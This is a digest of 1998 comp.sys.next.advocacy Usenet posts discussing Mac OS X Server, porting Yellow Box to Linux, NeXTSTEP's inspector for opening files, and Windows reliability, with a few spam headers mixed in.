been under the impression (which grows continually) that I would,
indeed, find much that is desirable in Mac OS X if I ever reach the
point where it is accessible to me as a development environment.
So I advocate a Linux port and I look forward to a release of the
"Server" variant. I'm more than a little confused that these two
critical enabling steps should be the source of so much argument from
the NeXT side of things. The worst is when people who don't want to
discuss *my* wishes for the platform attempt to dismiss me by asking
"Why do you care in the first place? You didn't like NeXTstep, so go
away." I don't bear much hope that the ex-NeXT community can do for Mac
OS X what Linux's userbase did for Linux; they just don't have the raw
enthusiasm toward recruitment.
> But, except for the lack of manufacturer-supported X, the reason must
> be larger than "Not Being a Good Unix".
>
> So: what do you want?
I want what I like about NeXTstep: the development libraries and
frameworks. I want them on Linux. And I want Mac OS X to be a good Unix.
That's it, that's what I want. I think I've been fairly consistent on
these points.
MJP
From: tsivertsen@c2i.net (Thomas Sivertsen)
Newsgroups: comp.sys.next.advocacy
Subject: Re: PowerPC board for NeXTBus...
Date: Thu, 17 Dec 1998 18:31:28 +0100
Organization: =?ISO-8859-1?Q?h=F8h=3F/Asylant?=
Message-ID: <19981217183128472035@mp-37-183.daxnet.no>
References: <19981203054929.10244.00000009@ng-bw1.aol.com>
WillAdams <willadams@aol.com> wrote:
> A very generous soul (thanks Kyle!) sent me the last two issues of
> NeXTWorld, in one of them was a letter were the writer predicted that
> Apple and Next would one day inevitably join and that a wonderful product
> for the resultant company to make would be a NeXTBus PowerPC card...
You wait forever, and three comes along... ;-)
>
> Oh for what might've been.
>
Or is yet to come!
--
Cheers, Thomas Sivertsen
tsivertsen@c2i.net
From: ca314159@bestweb.net
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Thu, 17 Dec 1998 17:25:48 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75beqo$2d$1@nnrp1.dejanews.com>
References: <36717987.21076075@news2.asan.com>
In article <36717987.21076075@news2.asan.com>,
willy1@rocketmail.com (Willy) wrote:
> I think it's looking real good for Microsoft. Here's why:
Using the mind-body argument in court is an old trick:
http://www.computerworld.com/home/news.nsf/all/9812093msdoj
Is an application part of the OS if it doesn't talk directly to the hardware ?
Is the hardware "real" if the software doesn't look at it ?
Can we have outer-hardware experiences ?
Beware the Y2K dragoons.
Resistance is futile.
Migration headaches.
I pledge allegiance,
one nation under Bill:
Empty NT, sat on a wall.
Empty NT, had a big fall.
All Bill Gates horses and all Bill Gates men.
CouldN'T put Empty back together again.
'N'T run fast
'N'T stay awake
'N'T have enough memory
'N'T self-sufficient
'N'T waste my time
Beware the Y2K dragoons.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 17 Dec 1998 12:40:01 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <75bflh$5lo$1@crib.corepower.com>
References: <3675C7C4.861C5575@nstar.net> <slrn77gkej.2a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <759jto$3l4$1@crib.corepower.com> <F449wJ.EFE@T-FCN.Net>
NNTP-Posting-Date: 17 Dec 1998 17:40:11 GMT
In article <F449wJ.EFE@T-FCN.Net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <759jto$3l4$1@crib.corepower.com> Nathan Urban wrote:
> > How is efficient remote display under the new graphics model going to
> > be possible? Transferring bitmaps over a wire isn't good for bandwidth,
> > but without a client/server display model, I don't know how else you
> > could do it.
> Trap out the call stream to the engine (the same way it works now under
> DPS and QD) and also send updated state. As long as the state information
> is per-task, and that information isn't very large, this is not a difficult
> task.
Either I don't understand what you're suggesting, or I don't understand
how the new graphics model is going to work, or both. It was my
understanding that in the new graphics model, the window server would
merely allocate a buffer of memory and hand it to a process via shared
memory or something. The process would call drawing APIs that would
write directly into the display buffer. Is this correct so far?
If so, what exactly are you suggesting? Suppose an app draws a circle
using some DrawCircle() API function or something. How does that get
intercepted? I thought DrawCircle() would do its drawing directly into
the memory buffer. Does it instead get encapsulated in some sort of
drawing message and sent to a rendering engine?
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
Date: 17 Dec 1998 12:42:57 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <75bfr1$5mh$1@crib.corepower.com>
References: <14Nc2.20795$q15.465873@news.san.rr.com> <F42F6F.A62@T-FCN.Net> <759iqr$3hu$1@crib.corepower.com> <F44AnB.Evo@T-FCN.Net>
NNTP-Posting-Date: 17 Dec 1998 17:43:08 GMT
In article <F44AnB.Evo@T-FCN.Net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> So basically you could drag anything into it, that's GOOD.
As far as I know, it worked kind of like Pastry.app, where each clipboard
is kind of like a pasteboard that you can drag-and-drop. So you could
drop images, sounds, etc. into a shelf as well. However, I never used
it or saw it firsthand, so you'll have to ask someone else like Malcolm.
> Were running apps denoted in this system, or only in that grid?
I think only in the grid.
> How about animated icons?
I don't think it had those. Might have had "open/close" actions like
folders do, though. Anyway, I'm getting outside of my knowledge of
the subject.
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: 17 Dec 1998 12:47:55 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <75bg4b$5ni$1@crib.corepower.com>
References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <distler-1612980948250001@dial-104-21.ots.utexas.edu> <759ig9$3gq$1@crib.corepower.com> <F44Aww.F4v@T-FCN.Net>
NNTP-Posting-Date: 17 Dec 1998 17:48:08 GMT
In article <F44Aww.F4v@T-FCN.Net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <759ig9$3gq$1@crib.corepower.com> Nathan Urban wrote:
> > Still less convenient then being presented directly with a list of all
> > applications which can operate on that file, without having to search
> > for anything.
> That depends on the search system used to decide. If it's based just on
> the extension it doesn't help in a lot of situations (like where it's
> missing).
The point is that it still presents you with a list of things that can
be used to open the document, instead of making you hunt through the
filesystem for the app you want. This could be extended to work in
MacOS by associating multiple apps with a file type instead of just the
single creator.
> > But that's rarely what I want to do when I use the Workspace inspector;
> > I want to open the document in a particular app for that one time only.
> Then the drag and drop method is the way to go, I'm sure that's why it's
> in OpenStep as well.
It's in OpenStep, but I never use it; instead, I hit a command shortcut to
pop up the inspector and then double-click on the app I want to open it.
> > I don't want to have to change the default app, open it, and then change
> > it back.
> Now I'm confused, this is exactly what OpenStep would make you do now.
No, it isn't. If I want to one-time-only open, say, a GIF in app B
instead of the default app A, I do not have to change the default from A
to B, open the document, and then change the default back to A. Instead,
I can single-click on the document, open the inspector, and double-click
the icon of the app B. This does _not_ change the default from A to B,
it just opens it in B.
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com>
MIME-Version: 1.0
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Date: 17 Dec 98 19:28:35 GMT
On Wed, 16 Dec 1998 05:19:28, sal@panix.com (Sal Denaro) thought
aloud:
> On 14 Dec 98 09:04:27 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
> >IMO the potential Linux market includes some 100 million-odd systems
> >that Windows 2000 "obsoletes" within two years.
>
> Just because a market exists, doesn't mean that it is cost effective for Apple
> (or anyone else) to build for it.
No, but surely you aren't going to deny the potential to make at least
a few million new Apple customers. ;-) For all I know Apple has pretty
complete arsenal of worthy tools to offer (YB, QTML) and little to
lose in trying to create a new Apple market in that space.
> How many of those users even want to upgrade? A fair number of Wintel users
> don't upgrade OSes, they just buy new machines and copy over the old data.
Still a lot of machines are left for "servicing".
> >> The software compatibility issue that put Apple in a niche was the inability
> >> to run DOS and DOS Apps, and latter Windows and Windows Apps. The current
> >I would just put that a little differently. It was about someone else
> >(MS) controlling the proprietary APIs that populated the fiercely
> >competitive, huge but open PC market. The Linux market is a whole
> >different animal and Apple controls YB, thus the reference to Windows
> >- a closed market by definition.
>
> Users don't care about "open standards" or any crap like that. They care
> about entry costs and product availability. Porting YB to Linux isn't going
> to pull Apple out of niche status any more than the current availability
> of YB for Windows has.
Success in one market breeds success in others. Issues like
credibility and critical mass of momentum, the tide lifts all the
boats...
And while 'open standards' aren't going to become a star attraction to
'consumers' anytime soon there are mindshare advantages in being a
visible part of it.
[cut]
> >Windows-Linux axis becomes more developed by 3rd party offerings or
> >even by Microsoft (!), YB could be late to market and therefore it,
> >and by extension Mac OS X, would again be fighting from a niche
> >against _two_ matured markets.
>
> They already are fighting from a niche against mature markets. What
> exactly would change?
If Linux becomes a major player - which I believe it does, sooner or
later - Apple could have a significant foothold in two of those
markets instead of one which would subsequently help YB take on WIN32.
> Lets just say you are right and EVERY LINUX user jumps for joy at YB for
> Linux and runs out and gets it. The YB market is now 10 million or so users.
> And lets say that none of those 10 million boxes are servers in cable
> closets and that they are ALL potential customers for YB Apps.
I have no comment on this dream sequence, except, have more of what
you were just having. :^)
> Apple's market is now only a slightly larger niche (Even under this
> deliriously optimistic scenario). And even if ALL future Linux users
> become die-hard YB users, it would be 18 months to match the size of the
> current Mac market (and we all know how well existing developers have
> supported that market)
I'm not certain I would agree with the math, but let's not forget
either that those Mac users haven't yet migrated to Mac OS X and it
isn't chiselled in the stone that the percentage of upgraders would be
very satisfactory.
> Can you see my point? Supporting Linux (at the cost of its own market and
> the Windows market) doesn't move Apple out of niche status any more than the
> current support of Windows does.
I see your point but I'm afraid I don't agree - e.g. any
cannibalization would be the natural price of creating opportunities
in other areas. I see Linux and Windows markets as very different in
many ways. Demographics, maturity, thirst for apps, interest in
programming, general activity vs apathy etc.
> >> YB is a long term plan. I am reasonably certain that sales of WebObjects
> >> will fuel development in YB for the next few years.
> >And that will guarantee it an adequate developer adoption... for the
> >next few years? I can't blame you for not being an optimist. :-)
>
> No, but neither does a Linux port. There are no guarantees.
If YB is really the API of Apple's future (and with new rumours of
Carbon becoming tightly wowen into it and all) surely having Linux
strategy around, if just as a fallback plan, could be considered as an
extra insurance... even leverage in some cases.
> >> I don't see YB becoming that big a deal (outside of the old NeXT crowd)
> >> for a few years.
> >So any new PowerMacs will mainly/only appeal to those satisfied with
> >Carbon, or to lesser extent Unix-users, for years to come? A no-growth
> >strategy?
>
> Why do you think this is a no-growth strategy?
The reason was there before I started wondering whether the strategy
offers any growth. Do Carbon apps and the unix features pull in enough
paying spectators to grow the tent size if YB remains mostly used by
the "old NeXT crowd"?
> Apple will sell upgrade to the current 68k owners (who now have a better
> way to run existing Apps) and create a market for YB Apps. It isn't going
> to happen overnight, and a Linux port isn't going to change that.
>
> I think it makes a lot more sense to put a 100% effort into getting OSX
> out as soon as it is possible. I don't think it makes any sense to pull
> resources away from this to try and grab some part of a new niche market.
I am in no way advocating pulling resources away from Apple's core
project.
> >> OSX on Intel could also provided a "relevance bridge". So could a ton
> >> of other things (like IDE hard drives and USB based peripherals)
> >OSX/Intel, even if it would be planned, would face a big, costly
> >compatibility barrier which OTOH Linux solves or has solved by huge
> >collective effort. Without that support, common peripherals mean only
> >as much as they do to Mac users today.
>
> And what would keep Apple from useing drivers from Linux? Heck, someone
> wrote a ne2k driver for OSXS for x86 from reading the Linux sources.
> As long as they obey the GPL (they would have to for Linux anyway) it
> is 100% ok.
I don't know, give & take rule would apply here though, IMO. IOKit?
And not 100% of the Linux drivers come with source and under GPL,
perhaps most do though.
> (Check out Stepwise's archives section for more info on that ne2k driver)
Will do, thanks.
[cut]
> >> Apple is going to use OSX to convince those 22+ million to upgrade. FWIW,
> >> a lot (maybe most) of those people are running '030 and '040 boxes.
> >I doubt that the number of still adequately usable (thus still in
> >active use) Macs is anywhere near 20 million. Thanks to their growing
> >irrelevance as "internet machines" and discontinued Mac OS support
> >even '040's are getting abandoned.
>
> So Apple shouldn't be trying to sell them upgrades? They should say "we're
> a Linux company now, go get an x86 box and all new Apps"
Hold your tongue! <g> I said nor implied no such thing.
[cut]
> >Linux market. OTOH, is very f l e x i b l e and looking forward to
> >reaping a windfall from Microsoft's Windows 2000 push.
>
> And only one OS can reap a windfall? The future is a big place and there
> is plenty of room for everyone.
Did I say only one OS <scanning...>? Nope.
OK, I'll try to take an objective look from my own viewpoint <g>.
WinCE, JavaOS, Linux and Mac OS X would seem to have the necessary
artillery backing to at least try propelling themselves forward and
enroaching Big Windows' near-monopoly. WinCE has its golden-spoon
advantages (porting from MS's own WIN32, name reco, Microsoft's gentle
art of "nudging" developers and OEM's to any direction they like,
owning the de facto file formats etc.); Linux has fast growing 3rd
party support, the open source card, price, stability, attractive to
all but MS for being neutral ground; JavaOS, hmm, hopes to fill the
need of one-app-works-almost-everywhere, pulls support from appliance
manufacturers and enterprises, the language has become popular. Mac OS
X is a semi-proprietary unix system with mixed brand-recognition,
user-friendly UI and Carbon-based app support but no Intel version in
the cards so the W2000 enroaching abilities are limited. No apparent
ambitions to enroach Microsoft's Intel markets exist.
If MS didn't own the market with WIN32 it would almost look like
there's healthy competition!
So let's go predicting - 2000-2001?: MS hopes WinCE will be
cannibalizing WIN32 at the low end and even in consumer space and
some success can be expected. Java will nibble lebensraum here and
there but from nowhere in particular. Linux will grow its popularity
esp. among the crowd with soon-obsolete systems and it'll take a
reasonable chunk of the OEM pre-bundling (w/ office suite and games)
among the cheapest PC's and as a supported alternative in the server
space, burbs and keeps on chugging on with no corporate deadlines. Mac
OS X...?? should be enjoying millions of (PowerMac) users, maybe even
10 million, but most variables are still unknown... the space for
expansion would have to come either from growing PowerMac shipments
(looks positive but hardly earth-shattering due natural manufacturing
reasons) or from eating volume away from the WINxx space with YB on
Windows itself or with YB on some other platforms (but you'd argued
that YB may remain low ley for the next few years without a problem).
To sum it up, with WinCE "replacing" WIN32 at low end, I can currently
see only Linux as heading to 'reap a windfall' from Microsoft's major
W2000 migration effort. I would consider 'mere 10 million' new Windows
defectors as a windfall for Linux but I wouldn't be surprised to see
figures around 20-30 million either, with schools and business
converts counted in. Nothing to sneeze at in either case.
Your turn? ;-)
Brgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-gdSJm1ddCEBq@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <adtF3tz0y.Ktn@netcom.com> <FIiROLCWddLd-pn2-T8of9jZf6IUk@localhost> <adtF3vKso.7Es@netcom.com> <FIiROLCWddLd-pn2-ddqUWQ9NIGP9@localhost> <75119u$712@news1.panix.com> <FIiROLCWddLd-pn2-3omxzdb9d97c@localhost> <757fsu$5or@news1.panix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 17 Dec 98 19:28:07 GMT
On Wed, 16 Dec 1998 05:19:26, sal@panix.com (Sal Denaro) thought
aloud:
> On 14 Dec 98 09:04:20 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
> You don't have to convince me that Yellowbox for Linux would be a good
> idea. Nor do you have to convince me that a YellowBox everywhere platform
> is good for Apple.
>
> What I question is the logic that Apple should pull resources away from
> building YB on its hardware, and on Windows to do it.
I haven't even seen such logic floating around here. Yes, the highest
priority should naturally go to getting the PowerPC version out
(MOSXS) and then finishing (MOSX). What comes to other YB projects, I
would think some of the other platform work could be done in parallel
with the main MOSX project by increasing headcount... or by letting
the platforms do some work for themselves (e.g. GNUstep?).
> >I would like to see Apple begin image-building by making (little)
> >concessions towards the open source (Linux) crowd at regular
> >intervals.
>
> Like creating the MkLinux platform? Or exchanging code with the BSD
> groups? Or making the code mods to the various unix utils they include
> with OSX available for download?
>
> While that is hardly _major_, it does demonstrate that Apple is aware
> that the free software movement exists.
The recent rumours of mkLinux project's health aren't flattering, but
then again it could also indicate that a replacement project could be
on the way... Yes, these are welcome gestures although not
image-building in the over-powering and mind-numbing headline
capturing sense. The StepWise folks had some good ideas and I'd be
interested in learning more of e.g. which YB technologies could be
released in the (semi-)open and under what conditions to create
synergies that help Apple while helping the Linux community help
themselves.
Brgds,
--
taiQ
[this space is intentionally blank]
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: Thu, 17 Dec 1998 19:42:24 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75bmqv$78l$1@nnrp1.dejanews.com>
References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <19981216074540.14116.00000011@ng57.aol.com> <distler-1612980948250001@dial-104-21.ots.utexas.edu> <759ig9$3gq$1@crib.corepower.com> <F44Aww.F4v@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> > I want to open the document in a particular app for that one time only.
>
> Then the drag and drop method is the way to go, I'm sure that's why it's
> in OpenStep as well.
>
> > I don't want to have to change the default app, open it, and then change
> > it back.
>
> Now I'm confused, this is exactly what OpenStep would make you do now.
No. The NeXTSTEP/OPENSTEP inspector allows you to open a given file using a
given app FOR THAT TIME ONLY without changing the default. Just double-click
on the appropriate app's icon in the inspector panel. That app will launch
(if not already running) and the file will open in it. UNLESS you also tick
the 'make default' button, the default app will not change.
You CAN also open a file using a specific app using the drag-and-(cmd)drop
method, but you that's not the only way of doing it.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy
Subject: Re: RFI ranting...again!
Date: Thu, 17 Dec 1998 11:35:52 -0800
Organization: University of British Columbia
Message-ID: <1dk6h3x.1ehmd3w1l1xcN@p039.intchg2.net.ubc.ca>
References: <3677D64D.3EE2DFFE@msi.se>
User-Agent: MacSOUP/2.4b4
Harald Ellmann <ellmann@msi.se> quoted RFI:
<snip>
>> heresy to factions promulgating other scenarios
<snip>
With prose like this, who needs critics?
--
Bruce Bennett
From: nobody@nowhere33.yet
Newsgroups: comp.sys.mac.wanted,comp.sys.net-computer.advocacy,comp.sys.net-computer.misc,comp.sys.newton.marketplace,comp.sys.newton.misc,comp.sys.next.advocacy
Subject: L@@K - One YEAR Free Subscription to IT News - Offer # 11881
Date: Thursday, 17 Dec 1998 20:27:44 -0600
Organization: <no organization>
Message-ID: <17129820.2744@nowhere33.yet>
NNTP-Posting-Date: 17 Dec 1998 19:27:51 GMT
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From: LLondryG24@theeOL.com
Newsgroups: comp.sys.next.advocacy
Subject: Get 75% OFF !! - Airfares 87922
Date: Thursday, 17 Dec 1998 19:51:24 -0600
Organization: <no organization>
Message-ID: <17129819.5124@theeOL.com>
NNTP-Posting-Date: 17 Dec 1998 18:51:26 GMT
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From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 17 Dec 1998 13:19:30 -0500
Organization: MIT AI Lab
Sender: portnoy@kit.ai.mit.edu
Message-ID: <us5zp8m7hsd.fsf@kit.ai.mit.edu>
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <36783d7f.0@stan.astra.co.uk> <FIiROLCWddLd-pn2-7pqEx61XfNtl@localhost> <3678CBC7.997A4D7D@nstar.net>
"Michael J. Peck" <mjpeck@nstar.net> writes:
> For what it's worth, my opinion is that most ex-NeXTers have a mixed
> bag of feelings toward Linux, most of which range from vague
> disinterest to outright dislike.
I think you're wrong, and believe that your opinion is probably based
more on your own opinions of us "ex-NeXTers" than on any statements
you've read here in c.s.n.a.
From my observations, the NeXT camp's views lie somewhere between
disinterest and active promotion, because many of them see Linux and
GNUstep as the best way to get back the interface and API they love.
I haven't seen anyone with "outright dislike" for the Linux platform
(although I've seen most of them have outright dislike for X11 and all
its UI works. :-).
> One especially notes the reaction ex-NeXTers have toward
> particularly vocal Linux advocates, who (again, in my opinion)
> strike upon the nerves of ex-NeXTers who believe them to be
> inexperienced and presumptuous upstarts.
Oddly enough, most people I know are capable of differentiating
between the advocates and the platform. If you actually *read*
c.s.n.a, you might notice that the same attitude is presented to
advocates for Windows, the Mac Finder, GX, OS/2, and a host of others.
You only think it's toward Linux when the reaction is against an
advocate for a platform that you're interested in. Lawson thinks we
all hate GX, too. He can't seem to realize that it's mostly him we
dislike.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 17 Dec 98 19:20:38 GMT
Organization: P & L Systems
Message-ID: <36795986.0@stan.astra.co.uk>
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost>
<36783d7f.0@stan.astra.co.uk> <FIiROLCWddLd-pn2-7pqEx61XfNtl@localhost>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: pit@iohk.SPAM-NOT.com
In <FIiROLCWddLd-pn2-7pqEx61XfNtl@localhost> taiQ wrote:
[nothing really worth arguing about]
Let's agree to disagree and move on.
If we shadows have offended,
Think but this, and all is mended:
That you have but slumbered here,
While these visions did appear;
And this weak and idle theme,
No more yielding but a dream,
Gentles, do not reprehend.
If you pardon, we will mend.
And as I am an honest puck,
If we have unearnÜd luck
Now to 'scape the serpent's tongue,
We will make amends ere long,
Else the puck a liar call.
So, good night unto you all.
Give me your hands, if we be friends,
And Robin shall restore amends.
Mr Goodfellow.
From: float@interport.net (void)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: 17 Dec 1998 20:26:31 GMT
Message-ID: <slrn77iq7m.olk.float@interport.net>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <3677CF94.CA4A5432@digiscape.com> <3677fa11.14689402@news2.asan.com> <36780C85.A7C6D522@digiscape.com>
NNTP-Posting-Date: 17 Dec 1998 20:26:31 GMT
User-Agent: slrn/0.9.5.3 (UNIX)
On Wed, 16 Dec 1998 19:39:49 +0000, Chris Welch <chaotic42@digiscape.com>
wrote:
>
>Well, I have that one so there are three posibilities:
>
>1. You are lying (I doubt that, though)
>2. I do more volatile things that could mess up the registry
>3. For some reason Windows doesn't like my hardware
4. You exercise different code paths through Windows.
--
Ben
"You have your mind on computers, it seems."
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com> <SCOTT.98Dec11174346@slave.doubleu.com>
<qcDd2.4402$f97.3735@news.rdc1.sdca.home.com> <367705A9.2E8E1132@nstar.net>
<SCOTT.98Dec16112323@slave.doubleu.com>
Message-ID: <Y4ee2.75$u04.92@news.rdc1.sdca.home.com>
Date: Thu, 17 Dec 1998 20:46:48 GMT
NNTP-Posting-Date: Thu, 17 Dec 1998 12:46:48 PDT
Organization: @Home Network
In <SCOTT.98Dec16112323@slave.doubleu.com> Scott Hess wrote:
> In article <367705A9.2E8E1132@nstar.net>,
> "Michael J. Peck" <mjpeck@nstar.net> writes:
> Rex Riley wrote:
> > .. you're not alone in trying to morally recoup your investment
> > in ex-NeXT apps. The PBS metaphor for your software distribution
> > has the ethical advantage of recouping some financial investment
> > as well. It's refreshing to see NeXT ethics (NeXT was a very
> > ethical OS) transfer to the public distribution space.
>
> Unfortunately, "Public Radio" and "Public Television" use "Public"
> with a capital 'P', meaning that they're heavily tax-subsidized,
> and subject largely to the artistic outlook of, say, the National
> Endowment for the Arts.
>
> I'm _not_ going to go there... my goal is to meet my "using public"
> halfway. I don't want to be paid market rates for my non-billable
> time. Rather, I'm looking for a justifiable way to motivate me over
> the hump of _finishing_ some of these little utilities. ["Finish"
> meaning things like Preferences panels - when you have the source, you
> don't need a Preferences panel :-).]
>
This has a simple, personal closure aspect that belies the PBS metaphor,
maybe. I was assuming the cashflow from the PBS campaign would motivate
your continued development, update and distribution. If I read this last
"finish" correctly, you simply want to Lighthouse your utilities in source
code form on a "one-time" contribution basis?
> My experience in the NeXT market is that complete freeware isn't quite
> motivating enough for me. I find that freeware users don't seem to
> send in suggestions and the like as often as shareware users. I
> suspect it has something to do with asking for money or something, so
> people tell you things like "I'd send money, if only you added...".
> Whereas for freeware, I think people are sometimes intimidated and
> don't want to impose on you.
>
Absolutely, correct... no interaction going on there. Freeware is a one
way transaction, take, take, take. OpenSource answers the development in a
vacuum Freeware created.
> [Against, I think this is a userbase thing. A freeware can certainly
> reach a critical mass where "enough" people aren't intimidated and
> send in good suggestions. I just think that shareware has a smaller
> critical mass. Commercialware has an even _smaller_ critical mass,
> but loses the valuable contributions from people who don't have the
> software, yet.]
>
>
Shareware .vs. Freeware packages the argument in the wrong contexts. Saving
the commonality of the two "ware's " spelling, Shareware is a distribution
model with an economic side-effect. Freeware has only the side-effect of
distribution. I thought the PBSware was a support model with an economic
side-effect. Critical mass has little to do. PBSware relies on the
economic relationship to support the product development goals.
This seems to be the crux of the models, to me...
-r
From: float@interport.net (void)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: 17 Dec 1998 20:31:28 GMT
Message-ID: <slrn77iqgu.olk.float@interport.net>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet><3677c55f.1199644@news2.asan.com> <joe.ragosta-1612982106510001@elk70.dol.net> <3685efa7.52272852@nntp.ix.netcom.com>
NNTP-Posting-Date: 17 Dec 1998 20:31:28 GMT
User-Agent: slrn/0.9.5.3 (UNIX)
On Thu, 17 Dec 1998 11:50:36 GMT, John Sheehy <jsheehy@ix.netcom.com>
wrote:
>joe.ragosta@dol.net (Joe Ragosta) wrote:
>
>>The problem with Windows is too many things appear to be random. They work
>>sometimes, but not all the time.
>
>I wonder why something that you claim is so intrinsic to Windows has
>never been my experience? Any problem has been a specific thing that
>caused consistent problems from the time it was introduced until it was
>identified and removed.
You must be very good with Windows, or you don't do much with it, or
you're exceptionally lucky.
Given the state of a computer and its inputs and outputs, its behavior
should be entirely predictable. However, my experience has been similar
to Joe's: Windows machines often appear to behave non-deterministically.
Since I know that that can't be the case, I can only conclude that this
appearance is a result of poor design and quality assurance.
--
Ben
"You have your mind on computers, it seems."
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <19981216074540.14116.00000011@ng57.aol.com> <distler-1612980948250001@dial-104-21.ots.utexas.edu> <759ig9$3gq$1@crib.corepower.com> <F44Aww.F4v@T-FCN.Net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <367960eb.0@nnrp1.news.uk.psi.net>
Date: 17 Dec 98 19:52:11 GMT
